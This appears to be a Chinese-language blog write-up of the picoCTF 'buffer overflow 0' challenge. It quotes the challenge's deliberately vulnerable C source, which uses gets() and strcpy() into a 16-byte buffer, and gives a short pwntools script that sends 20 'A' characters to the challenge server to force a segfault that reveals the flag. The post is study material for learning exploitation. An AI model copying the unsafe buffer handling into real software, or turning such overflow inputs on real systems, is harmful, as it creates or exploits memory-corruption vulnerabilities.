原本 D28 和 D29 預計是要寫 MISC 主題,但發現兩天好像也沒辦法把 MISC 介紹完整,乾脆再寫兩題 Pwn 的題目好了,這次在 picoCTF 選了這題 buffer overflow 0,希望可以順利解開。
來看看題目給的原始碼:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
先看 main()
的部分,會先讀進 flag.txt
,如果沒讀到的話程式就結束。後面設定了 segmentation fault 的 handler,就是當程式遇到 segmentation fault 的時候會執行 handler 裡面的程式。
signal(SIGSEGV, sigsegv_handler);
再來看看 sigsegv_handler()
,裡面就把 flag 印出來了,也就是我們能寫到 segfault 就可以得到 flag。
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
我們繼續往後看 main()
,可以看到 gets()
,加上 vuln()
裡面的 strcpy()
,這邊應該有個 buffer overflow。
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
因為 buffer 長度是 16 bytes,我們打 16+4 個 A 進去試試看:
from pwn import *
p = remote("saturn.picoctf.net", 65443)
context.log_level = "debug"
payload = "A" * 20
p.sendlineafter("Input: ", payload)
flag = p.recvline()
print(flag)
成功獲得 flag~
不過仔細看 log 會發現實際上傳了 21 bytes 而不是 20 bytes,因為 sendline
後面還加了換行符號,並且改成 19 個 A 就不會 segfault,應該是因為 20 個 bytes 只會蓋掉 caller ebp
,並不會蓋到 return address,所以也沒造成 segfault。
本來這題只拿到 flag 應該是蠻快的,但還花了一點時間理解為什麼是 21 個 bytes 開始才會 segfault,解完之後找其他人的說明發現了這個影片:
https://youtu.be/sLsgSC6ViS8&t=590
後面不知道什麼原因,打了 27 個 A,但只有 segfault 卻沒有 flag,打 28 個才有 XD
雖然他的題目的程式碼略有不同,是直接把 argv[1]
傳進 vuln()
,但這個狀況還是蠻神奇的 🤔